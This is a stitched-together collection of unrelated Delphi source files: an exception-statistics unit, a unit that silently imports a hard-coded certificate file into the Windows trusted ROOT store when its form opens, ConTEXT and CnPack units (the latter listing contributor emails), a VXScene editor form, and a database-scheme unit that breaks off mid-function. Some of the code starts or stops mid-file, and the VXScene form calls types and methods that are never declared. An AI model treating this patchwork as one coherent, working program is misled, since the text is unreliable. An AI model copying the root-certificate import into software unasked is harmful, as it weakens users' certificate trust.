procedure Check(ACondition: boolean; const AErrorText: string; AArgs: array of const); overload;
procedure Die(const AErrorText: string = ''); overload; inline;
procedure Die(const AErrorText: string; AArgs: array of const); overload;
implementation
procedure TExceptionStats.Notify(const Item: PExceptionStatRecord; Action: TCollectionNotification);
begin
case Action of
cnRemoved: Dispose(Item);
end;
end;
function TExceptionStats.AddNew(E: Exception): PExceptionStatRecord;
begin
New(Result);
Result._type := E.ClassType;
Result.msg := E.Message;
Result.count := 0;
Add(Result);
end;
function TExceptionStats.AddNew(E: TClass; Msg: string): PExceptionStatRecord;
begin
New(Result);
Result._type := E;
Result.msg := Msg;
Result.count := 0;
Add(Result);
end;
function TExceptionStats.Find(E: Exception): PExceptionStatRecord;
var i: integer;
begin
Result := nil;
for i := 0 to Self.Count - 1 do
if (items[i]._type=E.ClassType)
and (AnsiSameText(items[i].msg, E.Message)) then begin
Result := items[i];
break;
end;
end;
function TExceptionStats.Find(E: TClass; Msg: string): PExceptionStatRecord;
var i: integer;
begin
Result := nil;
for i := 0 to Self.Count - 1 do
if (items[i]._type=E)
and (AnsiSameText(items[i].msg, Msg)) then begin
Result := items[i];
break;
end;
end;
procedure TExceptionStats.RegisterException(E: Exception);
var pr: PExceptionStatRecord;
begin
pr := Find(E);
if pr=nil then
pr := AddNew(E);
Inc(pr.count);
end;
type
EWarning = class(Exception);
procedure TExceptionStats.RegisterWarning(AText: string);
var pr: PExceptionStatRecord;
begin
pr := Find(EWarning, AText);
if pr=nil then
pr := AddNew(EWarning, AText);
Inc(pr.count);
end;
//Pre-calculates the total count
function TExceptionStats.CountTotal: integer;
var idx: integer;
begin
Result := 0;
idx := 0;
while idx<Self.Count do begin
Inc(Result, items[idx].count);
Inc(idx);
end;
end;
//Calcualtes the total count for AType exception type
//idx is the starting index. Items have to be sorted by types.
function TExceptionStats.CountTypeTotal(AType: TClass; idx: integer = 0): integer;
begin
Result := 0;
while (idx<Self.Count) and (items[idx]._type=AType) do begin
Inc(Result, items[idx].count);
Inc(idx);
end;
end;
{ Prints ln+ln_val, while padding ln_val to the end of the screen }
procedure PrintPadded(const ln, ln_val: string);
var tmp_ln: string;
begin
tmp_ln := ln;
while (Length(tmp_ln)+Length(ln_val)) mod 80 < 78 do
tmp_ln := tmp_ln + ' '; //pad until ln_val ends at 78-th char
writeln(tmp_ln + ln_val);
end;
procedure TExceptionStats.PrintStats;
var lastType: TClass;
total: integer;
i: integer;
procedure FinalizeLastType;
begin
// writeln('');
end;
begin
Sort(TComparer<PExceptionStatRecord>.Construct(
function(const Left, Right: PExceptionStatRecord): Integer
begin
Result := integer(Left._type) - integer(Right._type);
if Result=0 then
Result := AnsiCompareText(Left.msg, Right.msg);
end
));
total := CountTotal;
if total=0 then exit;
PrintPadded('Errors:',IntToStr(total));
lastType := nil;
for i := 0 to Self.Count - 1 do begin
if lastType<>items[i]._type then begin
FinalizeLastType;
lastType := items[i]._type;
total := CountTypeTotal(lastType,i);
if total>0 then begin //else this whole section is empty
//If this type has only one record, don't print total -- it's information duplication
if (i>=Self.Count-1) or (items[i+1]._type<>lastType) then
writeln(lastType.ClassName)
else
PrintPadded(lastType.ClassName, IntToStr(total));
end;
end;
if items[i].count<=0 then continue; //nothing to print
PrintPadded(' '+items[i].msg, IntToStr(items[i].count));
end;
FinalizeLastType;
end;
{ Messages }
procedure Warning(const msg: string);
{$IFDEF JCLDEBUG}
var info: TJclLocationInfo;
{$ENDIF}
begin
{$IFDEF JCLDEBUG}
info := GetLocationInfo(Caller(1));
writeln(ErrOutput, info.ProcedureName+':'+IntToStr(info.LineNumber)+': '+msg)
{$ELSE}
writeln(ErrOutput, msg);
{$ENDIF}
end;
procedure Check(ACondition: boolean; const AErrorText: string = '');
begin
if not ACondition then
Die(AErrorText);
end;
procedure Check(ACondition: boolean; const AErrorText: string; AArgs: array of const);
begin
if not ACondition then
Die(AErrorText, AArgs);
end;
procedure Die(const AErrorText: string = '');
begin
raise Exception.Create(AErrorText);
end;
procedure Die(const AErrorText: string; AArgs: array of const);
begin
raise Exception.CreateFmt(AErrorText, AArgs);
end;
initialization
ExceptionStats := TExceptionStats.Create()
finalization
FreeAndNil(ExceptionStats);
end.
|
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, wcrypt2;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function ImportCertFile(AFileName, AStoreType:string):Boolean;
var
F: File;
EncCert: PByte;
EncCertLen: DWORD;
Store: HCERTSTORE;
Context: PCCERT_CONTEXT;
N: PCCERT_CONTEXT;
EncType: DWORD;
IsAdded: Boolean;
begin
Result := False;
if FileExists(AFileName) then
begin
AssignFile(F, AFileName);
Reset(F, 1);
EncCertLen := FileSize(F);
GetMem(EncCert, EncCertLen);
BlockRead(F, EncCert^, EncCertLen);
CloseFile(F);
try
EncType := PKCS_7_ASN_ENCODING or X509_ASN_ENCODING;
Context := CertCreateCertificateContext(EncType, EncCert, EncCertLen);
if Context = nil then
Exit;
Store := CertOpenSystemStore(0, PChar(AStoreType));
if Store = nil then
Exit;
N := nil;
CertAddCertificateContextToStore(Store, Context,
CERT_STORE_ADD_REPLACE_EXISTING, N);
CertCloseStore(Store, 0);
CertFreeCertificateContext(Context);
Result := True;
finally
FreeMem(EncCert, EncCertLen);
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
ImportCertFile('D:\Dmitry\Delphi exe\Photo Database\PhotoDB\bin\PhotoDB23.cer', 'ROOT');
end;
end.
|
// Copyright (c) 2009, ConTEXT Project Ltd
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// Neither the name of ConTEXT Project Ltd nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
unit frFileCompareFileChoice;
interface
{$I ConTEXT.inc}
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, fFileCompareSettings, ActnList, fFileCompareResults,
uMultiLanguage;
type
TframeFileCompareFileChoice = class(TFrame)
gbFile: TGroupBox;
rbEditingFile: TRadioButton;
rbFileFromDisk: TRadioButton;
cbFileList: TComboBox;
eFileName: TEdit;
btnBrowse: TButton;
rbCurrentFile: TRadioButton;
alFileCompareChoice: TActionList;
acBrowse: TAction;
procedure acBrowseExecute(Sender: TObject);
procedure alFileCompareChoiceUpdate(Action: TBasicAction;
var Handled: Boolean);
private
fSelectedFileName: string;
procedure OpenFilesToForm;
procedure SetFileSelection(const Value: TFileCompareFileSelection);
procedure SetFileFromDiskName(const Value: string);
function GetFileFromDiskName: string;
function GetFileSelection: TFileCompareFileSelection;
function GetEditingFileName: string;
procedure SetEditingFileName(const Value: string);
function GetSelectedEditor: TObject;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function CreateFileInfo: TFileCompareInfo;
property FileSelection: TFileCompareFileSelection read GetFileSelection write SetFileSelection;
property EditingFileName: string read GetEditingFileName write SetEditingFileName;
property FileFromDiskName: string read GetFileFromDiskName write SetFileFromDiskName;
property SelectedEditor: TObject read GetSelectedEditor;
property SelectedFileName: string read fSelectedFileName;
end;
implementation
{$R *.dfm}
uses
fMain, fEditor;
////////////////////////////////////////////////////////////////////////////////////////////
// Property functions
////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------
function TframeFileCompareFileChoice.GetFileSelection: TFileCompareFileSelection;
begin
if rbCurrentFile.Checked then
result:=fsCurrent
else
if rbEditingFile.Checked then
result:=fsEditingFile
else
result:=fsFileFromDisk;
end;
//------------------------------------------------------------------------------------------
procedure TframeFileCompareFileChoice.SetFileSelection(const Value: TFileCompareFileSelection);
begin
case Value of
fsEditingFile:
rbEditingFile.Checked:=TRUE;
fsFileFromDisk:
rbFileFromDisk.Checked:=TRUE;
else
rbCurrentFile.Checked:=TRUE;
end;
end;
//------------------------------------------------------------------------------------------
function TframeFileCompareFileChoice.GetFileFromDiskName: string;
begin
result:=eFileName.Text;
end;
//------------------------------------------------------------------------------------------
procedure TframeFileCompareFileChoice.SetFileFromDiskName(const Value: string);
begin
eFileName.Text:=Value;
end;
//------------------------------------------------------------------------------------------
function TframeFileCompareFileChoice.GetEditingFileName: string;
begin
if (cbFileList.ItemIndex<>-1) then
result:=cbFileList.Items[cbFileList.ItemIndex]
else
result:='';
end;
//------------------------------------------------------------------------------------------
procedure TframeFileCompareFileChoice.SetEditingFileName(const Value: string);
begin
cbFileList.ItemIndex:=cbFileList.Items.IndexOf(Value);
end;
//------------------------------------------------------------------------------------------
function TframeFileCompareFileChoice.GetSelectedEditor: TObject;
begin
if (cbFileList.ItemIndex<>-1) and (FileSelection=fsEditingFile) then
result:=cbFileList.Items.Objects[cbFileList.ItemIndex]
else
result:=nil;
end;
//------------------------------------------------------------------------------------------
////////////////////////////////////////////////////////////////////////////////////////////
// Functions
////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------
procedure TframeFileCompareFileChoice.OpenFilesToForm;
var
i: integer;
ed: TfmEditor;
str: TStringList;
begin
str:=fmMain.GetEditorStrList;
try
for i:=0 to str.Count-1 do begin
ed:=TfmEditor(str.Objects[i]);
cbFileList.Items.AddObject(ed.FileName, ed);
end;
finally
str.Free;
end;
end;
//------------------------------------------------------------------------------------------
function TframeFileCompareFileChoice.CreateFileInfo: TFileCompareInfo;
var
editor: TObject;
begin
fSelectedFileName:='';
editor:=nil;
case FileSelection of
fsCurrent:
if (fmMain.ActiveEditor<>nil) then begin
fSelectedFileName:=fmMain.ActiveEditor.FileName;
end;
fsEditingFile:
begin
fSelectedFileName:=EditingFileName;
editor:=SelectedEditor;
end;
fsFileFromDisk:
begin
fSelectedFileName:=FileFromDiskName;
end;
end;
result:=TFileCompareInfo.Create(fSelectedFileName, FileSelection, editor);
end;
//------------------------------------------------------------------------------------------
////////////////////////////////////////////////////////////////////////////////////////////
// Actions
////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------
procedure TframeFileCompareFileChoice.alFileCompareChoiceUpdate(
Action: TBasicAction; var Handled: Boolean);
begin
cbFileList.Enabled:=rbEditingFile.Checked;
eFileName.Enabled:=rbFileFromDisk.Checked;
acBrowse.Enabled:=rbFileFromDisk.Checked;
end;
//------------------------------------------------------------------------------------------
procedure TframeFileCompareFileChoice.acBrowseExecute(Sender: TObject);
var
dlg: TOpenDialog;
begin
dlg:=fmMain.CreateOpenDialog(FALSE);
dlg.FileName:=eFileName.Text;
if dlg.Execute then
eFileName.Text:=dlg.FileName;
end;
//------------------------------------------------------------------------------------------
////////////////////////////////////////////////////////////////////////////////////////////
// Buttons
////////////////////////////////////////////////////////////////////////////////////////////
//------------------------------------------------------------------------------------------
constructor TframeFileCompareFileChoice.Create(AOwner: TComponent);
begin
inherited;
mlApplyLanguageToForm(SELF, Name);
OpenFilesToForm;
end;
//------------------------------------------------------------------------------------------
destructor TframeFileCompareFileChoice.Destroy;
begin
inherited;
end;
//------------------------------------------------------------------------------------------
end.
|
{******************************************************************************}
{ CnPack For Delphi/C++Builder }
{ 中国人自己的开放源码第三方开发包 }
{ (C)Copyright 2001-2017 CnPack 开发组 }
{ ------------------------------------ }
{ }
{ 本开发包是开源的自由软件,您可以遵照 CnPack 的发布协议来修 }
{ 改和重新发布这一程序。 }
{ }
{ 发布这一开发包的目的是希望它有用,但没有任何担保。甚至没有 }
{ 适合特定目的而隐含的担保。更详细的情况请参阅 CnPack 发布协议。 }
{ }
{ 您应该已经和开发包一起收到一份 CnPack 发布协议的副本。如果 }
{ 还没有,可访问我们的网站: }
{ }
{ 网站地址:http://www.cnpack.org }
{ 电子邮件:master@cnpack.org }
{ }
{******************************************************************************}
unit CnConsts;
{* |<PRE>
================================================================================
* 软件名称:开发包基础库
* 单元名称:公共资源字符串定义单元
* 单元作者:CnPack开发组
* 备 注:
* 开发平台:PWin98SE + Delphi 5.0
* 兼容测试:PWin9X/2000/XP + Delphi 5/6
* 本 地 化:该单元中的字符串均符合本地化处理方式
* 单元标识:$Id$
* 修改记录:2004.09.18 V1.2
* 新增CnMemProf的字符串定义
* 2002.04.18 V1.1
* 新增部分字符串定义
* 2002.04.08 V1.0
* 创建单元
================================================================================
|</PRE>}
interface
{$I CnPack.inc}
uses
Windows;
//==============================================================================
// 不需要本地化的字符串
//==============================================================================
resourcestring
// 注册表路径
SCnPackRegPath = '\Software\CnPack';
// 辅助工具路径
SCnPackToolRegPath = 'CnTools';
//==============================================================================
// 需要本地化的字符串
//==============================================================================
var
// 公共信息
SCnInformation: string = '提示';
SCnWarning: string = '警告';
SCnError: string = '错误';
SCnEnabled: string = '有效';
SCnDisabled: string = '禁用';
SCnMsgDlgOK: string = '确认(&O)';
SCnMsgDlgCancel: string = '取消(&C)';
const
// 开发包信息
SCnPackAbout = 'CnPack';
SCnPackVer = 'Ver 0.0.8.9';
SCnPackStr = SCnPackAbout + ' ' + SCnPackVer;
SCnPackUrl = 'http://www.cnpack.org';
SCnPackBbsUrl = 'http://bbs.cnpack.org';
SCnPackNewsUrl = 'news://news.cnpack.org';
SCnPackSourceUrl = 'http://cnpack.googlecode.com';
SCnPackEmail = 'master@cnpack.org';
SCnPackBugEmail = 'bugs@cnpack.org';
SCnPackSuggestionsEmail = 'suggestions@cnpack.org';
SCnPackDonationUrl = 'http://www.cnpack.org/foundation.php';
SCnPackDonationUrlSF = 'http://sourceforge.net/donate/index.php?group_id=110999';
SCnPackGroup = 'CnPack 开发组';
SCnPackCopyright = '(C)Copyright 2001-2017 ' + SCnPackGroup;
// CnPropEditors
SCopyrightFmtStr =
SCnPackStr + #13#10#13#10 +
'组件名称: %s' + #13#10 +
'组件作者: %s(%s)' + #13#10 +
'组件说明: %s' + #13#10#13#10 +
'下载网站: ' + SCnPackUrl + #13#10 +
'技术支持: ' + SCnPackEmail + #13#10#13#10 +
SCnPackCopyright;
resourcestring
// 组件安装面板名
SCnNonVisualPalette = 'CnPack Tools';
SCnGraphicPalette = 'CnPack VCL';
SCnNetPalette = 'CnPack Net';
SCnDatabasePalette = 'CnPack DB';
SCnReportPalette = 'CnPack Report';
// 开发组成员信息请在后面添加,注意本地化处理
var
SCnPack_Zjy: string = '周劲羽';
SCnPack_Shenloqi: string = '沈龙强(Chinbo)';
SCnPack_xiaolv: string = '吕宏庆';
SCnPack_Flier: string = 'Flier Lu';
SCnPack_LiuXiao: string = '刘啸(Passion)';
SCnPack_PanYing: string = '潘鹰(Pan Ying)';
SCnPack_Hubdog: string = '陈省(Hubdog)';
SCnPack_Wyb_star: string = '王玉宝';
SCnPack_Licwing: string = '朱磊(Licwing Zue)';
SCnPack_Alan: string = '张伟(Alan)';
SCnPack_Aimingoo: string = '周爱民(Aimingoo)';
SCnPack_QSoft: string = '何清(QSoft)';
SCnPack_Hospitality: string = '张炅轩(Hospitality)';
SCnPack_SQuall: string = '刘玺(SQUALL)';
SCnPack_Hhha: string = 'Hhha';
SCnPack_Beta: string = '熊恒(beta)';
SCnPack_Leeon: string = '李柯(Leeon)';
SCnPack_SuperYoyoNc: string = '许子健';
SCnPack_JohnsonZhong: string = 'Johnson Zhong';
SCnPack_DragonPC: string = 'Dragon P.C.';
SCnPack_Kendling: string = '小冬(Kending)';
SCnPack_ccrun: string = 'ccRun(老妖)';
SCnPack_Dingbaosheng: string = 'dingbaosheng';
SCnPack_LuXiaoban: string = '周益波(鲁小班)';
SCnPack_Savetime: string = 'savetime';
SCnPack_solokey: string = 'solokey';
SCnPack_Bahamut: string = '巴哈姆特';
SCnPack_Sesame: string = '胡昌洪(Sesame)';
SCnPack_BuDeXian: string = '不得闲';
SCnPack_XiaoXia: string = '小夏';
SCnPack_ZiMin: string = '子旻';
SCnPack_rarnu: string = 'rarnu';
SCnPack_dejoy: string = 'dejoy';
// CnCommon
SUnknowError: string = '未知错误';
SErrorCode: string = '错误代码:';
const
SCnPack_ZjyEmail = 'zjy@cnpack.org';
SCnPack_ShenloqiEmail = 'Shenloqi@hotmail.com';
SCnPack_xiaolvEmail = 'xiaolv888@etang.com';
SCnPack_FlierEmail = 'flier_lu@sina.com';
SCnPack_LiuXiaoEmail = 'liuxiao@cnpack.org';
SCnPack_PanYingEmail = 'panying@sina.com';
SCnPack_HubdogEmail = 'hubdog@263.net';
SCnPack_Wyb_starMail = 'wyb_star@sina.com';
SCnPack_LicwingEmail = 'licwing@chinasystemsn.com';
SCnPack_AlanEmail = 'BeyondStudio@163.com';
SCnPack_AimingooEmail = 'aim@263.net';
SCnPack_QSoftEmail = 'hq.com@263.net';
SCnPack_HospitalityEmail = 'Hospitality_ZJX@msn.com';
SCnPack_SQuallEmail = 'squall_sa@163.com';
SCnPack_HhhaEmail = 'Hhha@eyou.com';
SCnPack_BetaEmail = 'beta@01cn.net';
SCnPack_LeeonEmail = 'real-like@163.com';
SCnPack_SuperYoyoNcEmail = 'superyoyonc@sohu.com';
SCnPack_JohnsonZhongEmail = 'zhongs@tom.com';
SCnPack_DragonPCEmail = 'dragonpc@21cn.com';
SCnPack_KendlingEmail = 'kendling@21cn.com';
SCnPack_ccRunEmail = 'info@ccrun.com';
SCnPack_DingbaoshengEmail = 'yzdbs@msn.com';
SCnPack_LuXiaobanEmail = 'zhouyibo2000@sina.com';
SCnPack_SavetimeEmail = 'savetime2k@hotmail.com';
SCnPack_solokeyEmail = 'crh611@163.com';
SCnPack_BahamutEmail = 'fantasyfinal@126.com';
SCnPack_SesameEmail = 'sesamehch@163.com';
SCnPack_BuDeXianEmail = 'appleak46@yahoo.com.cn';
SCnPack_XiaoXiaEmail = 'summercore@163.com';
SCnPack_ZiMinEmail = '441414288@qq.com';
SCnPack_rarnuEmail = 'rarnu@cnpack.org';
SCnPack_dejoyEmail = 'dejoybbs@163.com';
// CnMemProf
SCnPackMemMgr = '内存管理监视器';
SMemLeakDlgReport = '出现 %d 处内存漏洞[替换内存管理器之前已分配 %d 处]。';
SMemMgrODSReport = '获取 = %d,释放 = %d,重分配 = %d';
SMemMgrOverflow = '内存管理监视器指针列表溢出,请增大列表项数!';
SMemMgrRunTime = '%d 小时 %d 分 %d 秒。';
SOldAllocMemCount = '替换内存管理器前已分配 %d 处内存。';
SAppRunTime = '程序运行时间: ';
SMemSpaceCanUse = '可用地址空间: %d 千字节';
SUncommittedSpace = '未提交部分: %d 千字节';
SCommittedSpace = '已提交部分: %d 千字节';
SFreeSpace = '空闲部分: %d 千字节';
SAllocatedSpace = '已分配部分: %d 千字节';
SAllocatedSpacePercent = '地址空间载入: %d%%';
SFreeSmallSpace = '全部小空闲内存块: %d 千字节';
SFreeBigSpace = '全部大空闲内存块: %d 千字节';
SUnusedSpace = '其它未用内存块: %d 千字节';
SOverheadSpace = '内存管理器消耗: %d 千字节';
SObjectCountInMemory = '内存对象数目: ';
SNoMemLeak = '没有内存泄漏。';
SNoName = '(未命名)';
SNotAnObject = '不是对象';
SByte = '字节';
SCommaString = ',';
SPeriodString = '。';
implementation
end.
|
//
// VXScene Component Library, based on GLScene http://glscene.sourceforge.net
//
{
Scene Editor, for adding + removing scene objects within the Delphi IDE.
}
unit FSceneEditor;
interface
uses
System.SysUtils,
System.Types,
System.UITypes,
System.Classes,
System.Variants,
System.Actions,
FMX.Types,
FMX.Controls,
FMX.Forms,
FMX.Graphics,
FMX.Dialogs,
FMX.Menus,
FMX.ActnList,
FMX.StdCtrls,
FMX.Layouts,
FMX.TreeView,
FMX.ListView.Types,
FMX.ListView,
FMX.Objects,
FMX.ListView.Appearances,
FMX.ListView.Adapters.Base,
FMX.Controls.Presentation,
VXS.Scene,
VXS.Win64Viewer,
VXS.SceneRegister,
VXS.Strings,
FInfo,
VXS.XCollection,
VXS.CrossPlatform;
type
TVXSceneEditorForm = class(TForm)
ToolBar: TToolBar;
PATree: TPanel;
PAGallery: TPanel;
PAEffects: TPanel;
ActionList: TActionList;
PMToolBar: TPopupMenu;
PopupMenu: TPopupMenu;
SaveDialog: TSaveDialog;
OpenDialog: TOpenDialog;
Tree: TTreeView;
PABehaviours: TPanel;
PMBehavioursToolBar: TPopupMenu;
PMEffectsToolBar: TPopupMenu;
BehavioursPopupMenu: TPopupMenu;
ToolBarBehaviours: TToolBar;
ToolBarEffects: TToolBar;
GalleryListView: TListView;
BehavioursListView: TListView;
EffectsListView: TListView;
ACLoadScene: TAction;
ACSaveScene: TAction;
ACStayOnTop: TAction;
ACAddObject: TAction;
ACAddBehaviour: TAction;
ACAddEffect: TAction;
ACMoveUp: TAction;
ACMoveDown: TAction;
ACExpand: TAction;
ACDeleteObject: TAction;
ACDeleteBehaviour: TAction;
ACCut: TAction;
ACCopy: TAction;
ACPaste: TAction;
ACInfo: TAction;
TBLoadScene: TSpeedButton;
ImLoadScene: TImage;
TBInfo: TSpeedButton;
ImInfo: TImage;
TBPaste: TSpeedButton;
ImPaste: TImage;
TBCopy: TSpeedButton;
ImCopy: TImage;
TBCut: TSpeedButton;
ImCut: TImage;
TBDeleteObject: TSpeedButton;
ImDeleteObject: TImage;
TBExpand: TSpeedButton;
ImExpand: TImage;
TBMoveDown: TSpeedButton;
ImMoveDown: TImage;
TBMoveUp: TSpeedButton;
ImMoveUp: TImage;
TBCharacterPanels: TSpeedButton;
ImCharacterPanels: TImage;
TBGalleryPanel: TSpeedButton;
ImGalleryPanel: TImage;
TBAddObjects: TSpeedButton;
ImAddObjects: TImage;
TBStayOnTop: TSpeedButton;
ImStayOnTop: TImage;
TBSaveScene: TSpeedButton;
ImSaveScene: TImage;
TBSeparator1: TSpeedButton;
TBSeparator2: TSpeedButton;
TBSeparator3: TSpeedButton;
TBSeparator4: TSpeedButton;
ACGallery: TAction;
ImArrowDown: TImage;
ImArrowDownBeh: TImage;
ImArrowDownEff: TImage;
TBAddBehaviours: TSpeedButton;
TBAddEffects: TSpeedButton;
MIAddObject: TMenuItem;
MIAddBehaviour: TMenuItem;
MIAddEffect: TMenuItem;
MICut: TMenuItem;
MICopy: TMenuItem;
MIPaste: TMenuItem;
MIDelObject: TMenuItem;
MIMoveUp: TMenuItem;
MIMoveDown: TMenuItem;
StyleBook: TStyleBook;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ACInfoExecute(Sender: TObject);
end;
function VXSceneEditorForm: TVXSceneEditorForm;
procedure ReleaseVXSceneEditorForm;
//==================================================================
implementation
//==================================================================
{$R *.fmx}
const
cRegistryKey = 'Software\VXScene\VXSceneEdit';
var
vVXSceneEditorForm: TVXSceneEditorForm;
function VXSceneEditorForm: TVXSceneEditorForm;
begin
if not Assigned(vVXSceneEditorForm) then
vVXSceneEditorForm := TVXSceneEditorForm.Create(nil);
Result := vVXSceneEditorForm;
end;
procedure ReleaseVXSceneEditorForm;
begin
if Assigned(vVXSceneEditorForm) then
begin
vVXSceneEditorForm.Free;
vVXSceneEditorForm := nil;
end;
end;
function ReadRegistryInteger(reg: TRegistry; const Name: string;
defaultValue: Integer): Integer;
begin
if reg.ValueExists(name) then
Result := reg.ReadInteger(name)
else
Result := defaultValue;
end;
procedure TVXSceneEditorForm.FormCreate(Sender: TObject);
var
CurrentNode: TTreeNode;
reg: TRegistry;
begin
RegisterGLBaseSceneObjectNameChangeEvent(OnBaseSceneObjectNameChanged);
Tree.Images := ObjectManager.ObjectIcons;
Tree.Indent := ObjectManager.ObjectIcons.Width;
with Tree.Items do
begin
// first add the scene root
CurrentNode := Add(nil, strSceneRoot);
with CurrentNode do
begin
ImageIndex := ObjectManager.SceneRootIndex;
SelectedIndex := ImageIndex;
end;
// and the root for all objects
FObjectNode := AddChild(CurrentNode, strObjectRoot);
FSceneObjects := FObjectNode;
with FObjectNode do
begin
ImageIndex := ObjectManager.ObjectRootIndex;
SelectedIndex := ImageIndex;
end;
end;
// Build SubMenus
SetObjectsSubItems(MIAddObject);
MIAddObject.SubMenuImages := ObjectManager.ObjectIcons;
SetObjectsSubItems(PMToolBar.Items);
PMToolBar.Images := ObjectManager.ObjectIcons;
SetBehavioursSubItems(MIAddBehaviour, nil);
SetBehavioursSubItems(PMBehavioursToolbar.Items, nil);
SetEffectsSubItems(MIAddEffect, nil);
SetEffectsSubItems(PMEffectsToolbar.Items, nil);
reg := TRegistry.Create;
try
if reg.OpenKey(cRegistryKey, true) then
begin
if reg.ValueExists('CharacterPanels') then
TBCharacterPanels.Down := reg.ReadBool('CharacterPanels');
TBCharacterPanelsClick(Self);
if reg.ValueExists('ExpandTree') then
TBExpand.Down := reg.ReadBool('ExpandTree');
ACExpandExecute(Self);
Left := ReadRegistryInteger(reg, 'Left', Left);
Top := ReadRegistryInteger(reg, 'Top', Top);
Width := ReadRegistryInteger(reg, 'Width', 250);
Height := ReadRegistryInteger(reg, 'Height', Height);
end;
finally
reg.Free;
end;
// Trigger the event OnEdited manualy
Tree.OnEdited := TreeEdited;
end;
procedure TVXSceneEditorForm.FormDestroy(Sender: TObject);
var
reg: TRegistry;
begin
DeRegisterGLBaseSceneObjectNameChangeEvent(OnBaseSceneObjectNameChanged);
reg := TRegistry.Create;
try
if reg.OpenKey(cRegistryKey, true) then
begin
reg.WriteBool('CharacterPanels', TBCharacterPanels.Down);
reg.WriteBool('ExpandTree', TBExpand.Down);
reg.WriteInteger('Left', Left);
reg.WriteInteger('Top', Top);
reg.WriteInteger('Width', Width);
reg.WriteInteger('Height', Height);
end;
finally
reg.Free;
end;
end;
procedure TVXSceneEditorForm.ACInfoExecute(Sender: TObject);
var
AScene: TVXSceneViewer;
begin
AScene := TVXSceneViewer.Create(Self);
AScene.Name := 'VXSceneEditor';
AScene.Width := 0;
AScene.Height := 0;
AScene.parent := Self;
try
AScene.Buffer.ShowInfo;
finally
AScene.Free;
end;
end;
end.
|
unit uDBScheme;
interface
uses
Winapi.ActiveX,
Generics.Collections,
System.SysUtils,
System.Classes,
Data.DB,
Dmitry.Utils.System,
Dmitry.Utils.Files,
uConstants,
uMemory,
uLogger,
uTranslate,
uThreadTask,
uDBConnection,
uDBClasses,
uDBBaseTypes,
uSplashThread,
uFormInterfaces;
const
CURRENT_DB_SCHEME_VERSION = 3;
type
TCollectionUpdateTask = class
private
FFileName: string;
public
function Estimate: Integer; virtual;
function Text: string; virtual;
function Execute(Progress: TSimpleCallBackProgressRef; CurrentVersion: Integer): Integer; virtual;
constructor Create(FileName: string); virtual;
property FileName: string read FFileName;
end;
TPackCollectionTask = class(TCollectionUpdateTask)
private
FSaveBackup: Boolean;
public
constructor Create(FileName: string); override;
function Estimate: Integer; override;
function Text: string; override;
function Execute(Progress: TSimpleCallBackProgressRef; CurrentVersion: Integer): Integer; override;
property SaveBackup: Boolean read FSaveBackup write FSaveBackup;
end;
TMigrateToV_003_Task = class(TCollectionUpdateTask)
public
function Estimate: Integer; override;
function Text: string; override;
function Execute(Progress: TSimpleCallBackProgressRef; CurrentVersion: Integer): Integer; override;
end;
type
TDBScheme = class
private
class procedure CreateDatabaseFile(CollectionFile: string);
class function CreateSettingsTable(CollectionFile: string): Boolean; static;
class function CreateImageTable(CollectionFile: string): Boolean; static;
class function CreateGroupsTable(CollectionFile: string): Boolean; static;
class function CreateObjectMappingTable(CollectionFile: string): Boolean; static;
class function CreateObjectsTable(CollectionFile: string): Boolean; static;
class procedure UpdateCollectionVersion(CollectionFile: string; Version: Integer);
//v2 is base version
class procedure MigrateToVersion003(CollectionFile: string; Progress: TSimpleCallBackProgressRef);
public
class function GetCollectionVersion(CollectionFile: string): Integer;
class function CreateCollection(CollectionFile: string): Boolean;
class function UpdateCollection(CollectionFile: string; CurrentVersion: Integer; CreateBackUp: Boolean): Boolean;
class function IsValidCollectionFile(CollectionFile: string): Boolean;
class function IsOldColectionFile(CollectionFile: string): Boolean;
class function IsNewColectionFile(CollectionFile: string): Boolean;
end;
implementation
class function TDBScheme.CreateCollection(CollectionFile: string): Boolean;
begin
Result := True;
CreateDatabaseFile(CollectionFile);
CreateSettingsTable(CollectionFile);
CreateImageTable(CollectionFile);
CreateGroupsTable(CollectionFile);
CreateObjectsTable(CollectionFile);
CreateObjectMappingTable(CollectionFile);
TThread.Synchronize(nil,
procedure
begin
UpdateCollection(CollectionFile, 0, False);
end
);
end;
type
TUpdateTaskList = TList<TCollectionUpdateTask>;
class function TDBScheme.UpdateCollection(CollectionFile: string; CurrentVersion: Integer; CreateBackUp: Boolean): Boolean;
var
ProgressForm: IBackgroundTaskStatusForm;
TotalAmount: Int64;
ReadyAmount: Int64;
I: Integer;
